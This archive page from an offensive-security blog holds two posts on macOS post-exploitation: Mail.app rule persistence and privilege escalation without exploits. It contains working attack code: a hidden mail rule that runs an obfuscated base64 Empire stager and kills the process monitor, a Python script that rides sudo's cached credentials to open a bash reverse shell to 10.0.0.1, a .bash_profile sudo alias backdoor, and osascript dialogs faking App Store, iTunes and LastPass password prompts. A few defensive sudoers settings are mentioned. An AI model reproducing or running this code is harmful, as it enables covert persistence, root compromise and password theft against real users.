Monthly archives: October, 2016

Using email for persistence on OS X

Mail Icon

In this post we will cover how we can use Mail.app on OS X to persist.  I was inspired by similar tools which are designed to work with Microsoft Outlook.  I first stumbled upon this article from MWR InfoSecurity, and then this blog post from Silent Break Security.  While rules in Mail.app will not replicate across the Directory Domain, which is one of the awesome things about both XRulez and Ruler, it does have some distinct advantages over other methods of persistence.

  • It does not present a network signature until remotely activated
  • It will not be detected by any tool which detects persistence such as KnockKnock.

It’s not uncommon for a target network to be under 24/7 monitoring.  Most methods of persistence will require the malware to constantly beacon out back to the Command and Control server.  This often times presents a unique network signature, which can discovered by a savvy analyst.  A security minded user or an organization may be enumerating common persistence areas for malware.  This typically includes LaunchDeamons, Cron Jobs, and Kernel Extensions.

KnockKnock

KnockKnock being ran on a system

While this technique will leave artifacts on the host, the fact that common security tools cannot detect it is a plus.

To create a mail rule the standard way, we would go to Mail -> Preferences -> Rules -> Add Rule

For the purpose of penetration testing, we cannot assume however that we will be able to interact within the GUI, and seek a way to perform this from a shell.

Mail rules are stored in:
/Users/$USER/Library/Mail/$VERSION/MailData/SyncedRules.plist
With the $USER being equal to the name of the users home directory, and $VERSION being equal to the version of the OS.  MacOS Sierra (10.12) will be V4, OS X El Capitan (10.11) will be V3, and anything from OS X Lion (10.7) to OS X Yosemite (10.10) will be V2.

If the user is using iCloud syncing, the mail rule will be overwritten by a different file, located at:
/Users/$USER/Library/Mobile Documents/com~apple~mail/Data/$VERSION/MailData/SyncedRules.plist
This file will always take precedence and overwrites the file in /Library/Mail/, and for this reason you should add your mail rule to this file instead.  While the iCloud syncing happens automatically, Mail.app will need to be bounced (restarted) for the application to pick up the new rule if the default location is in use.

There is another important caveat, and that is that mail rules will not be active, unless specified by RulesActiveState.plist which is present in the same directory.

Here is the anatomy of an acceptable rule for what we are trying to do:

<dict>
<key>AllCriteriaMustBeSatisfied</key>
<string>NO</string>
<key>AppleScript</key>
<string>EVIL.scpt</string>
<key>AutoResponseType</key>
<integer>0</integer>
<key>Criteria</key>
<array>
<dict>
<key>CriterionUniqueId</key>
<string>9709BE75-9606-D470-4F04-0A884724105A</string>
<key>Expression</key>
<string>TriggerWord</string>
<key>Header</key>
<string>Subject</string>
</dict>
</array>
<key>Deletes</key>
<string>YES</string>
<key>HighlightTextUsingColor</key>
<string>NO</string>
<key>MarkFlagged</key>
<string>NO</string>
<key>MarkRead</key>
<string>NO</string>
<key>NotifyUser</key>
<string>NO</string>
<key>RuleId</key>
<string>0A08B01B-4DAF-FA3A-E81D-CBA86A0E7C84</string>
<key>RuleName</key>
<string>Spam Filter</string>
<key>SendNotification</key>
<string>NO</string>
<key>ShouldCopyMessage</key>
<string>NO</string>
<key>ShouldTransferMessage</key>
<string>NO</string>
<key>TimeStamp</key>
<integer>147762204</integer>
<key>Version</key>
<integer>1</integer>
</dict>

The notable fields are:

  • AppleScript – This identifies that AppleScript should be ran, and the string identifies the payload
  • CriterionUniqueId and RuleId – Unique identifiers for the Rule.  The RuleID for this rule will need to be activated in RulesActiveState.plist
  • Expression – This is the string that our rule will look for when choosing to fire.
  • RuleName – This is the name of the rule.  To avoid detection, it should be named something innocuous.
  • Deletes – This deletes the email when the criteria is matched.

To activate the rule, just include the Rule ID in the RulesActiveState.plist file as such:

<key>0A08B01B-4DAF-FA3A-E81D-CBA86A0E7C84</key>
<true/>

Now that rule creating is covered it is time to talk about the payload.  Payloads are created in AppleScript.  Here is a sample payload:

do shell script "echo \"import sys,base64;exec(base64.b64decode('aW1wb3J0IHN5cztvPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bc3lzLnZlcnNpb25faW5mb1swXV0sZnJvbWxpc3Q9WydidWlsZF9vcGVuZXInXSkuYnVpbGRfb3BlbmVyKCk7VUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xMC4xMC4xMC4xMDo4MDgwJzt0PScvYWRtaW4vZ2V0LnBocCc7by5hZGRoZWFkZXJzPVsoJ1VzZXItQWdlbnQnLFVBKSwgKCJDb29raWUiLCAic2Vzc2lvbj1ZODROTmF3cHd1VHN4ZEF0VVRsa0ZvWGc3b2c9IildO2E9by5vcGVuKHNlcnZlcit0KS5yZWFkKCk7SVY9YVswOjRdO2RhdGE9YVs0Ol07a2V5PUlWKyd2JnRSXnJhNEZiM0hrWTkhXUp5LVdocWYlPDB4TjhLXyc7UyxqLG91dD1yYW5nZSgyNTYpLDAsW10NCmZvciBpIGluIHJhbmdlKDI1Nik6DQogICAgaj0oaitTW2ldK29yZChrZXlbaSVsZW4oa2V5KV0pKSUyNTYNCiAgICBTW2ldLFNbal09U1tqXSxTW2ldDQppPWo9MA0KZm9yIGNoYXIgaW4gZGF0YToNCiAgICBpPShpKzEpJTI1Ng0KICAgIGo9KGorU1tpXSklMjU2DQogICAgU1tpXSxTW2pdPVNbal0sU1tpXQ0KICAgIG91dC5hcHBlbmQoY2hyKG9yZChjaGFyKV5TWyhTW2ldK1Nbal0pJTI1Nl0pKQ0KZXhlYygnJy5qb2luKG91dCkp'));\" 
| python & kill `ps -ax | grep ScriptMonitor |grep -v grep |  awk '{print $1}'`"

AppleScript can easily issue commands as you would in the terminal by using “do shell script“.  The second portion is a typical Empire stager.  The additional commands after the ampersand are to hide the AppleScript.  Without it, it leaves the AppleScript payload visible not only in the Activity Monitor, but also as an animated icon on the MenuBar. It appears as a spinning gear.

I’ve created an Empire module that you can use with Empire 2.0 to accomplish all of this automatically.  My original proof of concept script also exists to run manually in which you specify your own parameters and payload.  I highly recommend giving the Empire module a whirl.

Steps to use this module with Empire after gaining an initial session:

  • usemodule persistence/osx/mail (or wherever you placed the module)
  • Specify Listener, Trigger Word, and RuleName
  • Execute

When you want to execute the payload at a later time all you have to do is:

  • Have your Empire server listening
  • Send an email to the target, specifying the trigger word in the subject line

The email will be deleted and never delivered to the inbox, and python will spawn a process which will pull down the stager from your Empire server.

 

-n00py


Privilege escalation on OS X – without exploits

terminal-app-icon-os-x

This blog post is about ways to escalate privilege on OS X without the usage of exploits.  While exploits are always nice to have, there are other ways in which you can gain root privileges on your target.  By using misconfigurations with a little bit of social engineering you can get your victim to escalate you to root without realizing it.

 

Sudo Piggyback

This is a personal favorite.   By default, this will work up until El Capitan.   Notice this line in the sudo man page:

Security policies may support credential caching to allow the user to run sudo again for a period of time without requiring authentication.
The sudoers policy caches credentials for 5 minutes, unless overridden in sudoers(5).

What this means is that once a user runs sudo, they can run a command with sudo again for up to 5 minutes without having to enter their password again.  Take a look at the python code below:

import os
import time
import subprocess
sudoDir = "/var/db/sudo"
subprocess.call(['sudo -K'], shell=True)
oldTime = time.ctime(os.path.getmtime(sudoDir))
exitLoop=False
while exitLoop is False:
newTime = time.ctime(os.path.getmtime(sudoDir))
if oldTime != newTime:
try:
subprocess.call(['sudo bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'], shell=True)
exitLoop = True
except:
pass

Lets break this down:

  • Line 4: This is the directory that holds the timestamp for the sudo sessions of each user.
  • Line 5: This clears/resets the sudo timer.  The user will no longer be able to run sudo without a password.
  • Line 6:  This stores the time-stamp of the the last time the directory was modified.
  • Line 10: When the new time-stamp of the directory differs from the initial recorded timestamp, we can infer that the user has ran sudo.
  • Line 12: Executes the payload.

This script will silently run in background up until the point that it is able to execute the payload, and then exits.  Since the command executed was ran with sudo, the attacker will receive a root shell.  As defender, this is can be mitigated by eliminating the sudo timeout by adding:

timestamp_timeout=0

to your sudoers file.  You can edit this with sudo visudo.

If you wish to retain the sudo grace period, but bind it to your TTY, you can add:

tty_tickets

to your sudoers file.  After upgrading to MacOS Sierra, I found this to be the default.

You can also find this as an Empire 2.0 module on my Github page.

3d185726-8d49-11e6-8da4-61d0b6687f16

Bash Backdoor

This technique works similar the previous on as it relies on the user to run sudo.  What it does differently is that rather that ride along an existing sudo session it tricks the user into running a script or command supplied by the attacker in lieu of executing the sudo binary. By adding this line to the users .bash_profile:

alias sudo='sudo sh -c '\''evil.sh & exec "$@"'\'' sh'

We can change the behavior of what happens when the user runs “sudo”.  Normally, when a user types sudo bash with execute /usr/bin/sudo.  The reason this happens is because the PATH environment variable is set to:

PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin

The alias added to the bash profile alters the behavior to execute a script first and then pass the actual command to sudo.  This can be accomplished with a command within the alias deceleration as well, as opposed to referencing a script.

Unlike the previous technique, this will work on MacOS Sierra as well as most all versions of Linux.  The obvious downside is that it leaves a lot of evidence, and the .bash_profile must remain in the tampered state.  To ensure this technique would work, you would also need to do this for other shells in the event that the user does not use bash.  Another consideration is while the alias passes the command through to the real sudo, it has issues with some special characters and when command arguments to sudo itself are passed. Another consideration is that unlike the first method, which exits after meeting the condition, this will attempt to trigger the payload every time sudo is ran.

I also have this available as an Empire module on my Github page.

29220bc8-8ef1-11e6-9c6b-3b7a7ed644f9

 

Phishing with AppleScript

This technique is a fun one.  Is you you are not familiar with AppleScript, Apple defines it as:

AppleScript is a scripting language created by Apple. It allows users to directly control scriptable Macintosh applications, as well as parts of macOS itself. You can create scripts—sets of written instructions—to automate repetitive tasks, combine features from multiple scriptable applications, and create complex workflows.

AppleScript is fairly simple, and can be used to phish for passwords for nearly anything.  If you can acquire the password of an administrator user, you can escalate to root.  Here are some examples, to phish for various different passwords:

osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return  default answer "" with icon 1 with hidden answer with title "App Store Alert"'

osascript -e 'tell app "iTunes" to activate' -e 'tell app "iTunes" to activate' -e 'tell app "iTunes" to display dialog "Update required, please enter your password." & return & return  default answer "" with icon 1 with hidden answer with title "iTunes Update"'

osascript -e 'tell app "LastPass" to activate' -e 'tell app "LastPass" to activate' -e 'tell app "LastPass" to display dialog "Session timed out,  Please enter your master password." & return& return  default answer "" with icon 1 with hidden answer with title "LastPass"'

While the syntax is already quite simple there is a python script that can be used to generate these prompts.  You can find it on Github here.   You can also find this functionality as part of EmPyre/Empire 2.0 here.

If you know of any other good techniques to escalate privilege that are not mentioned here, please let me know!

-n00py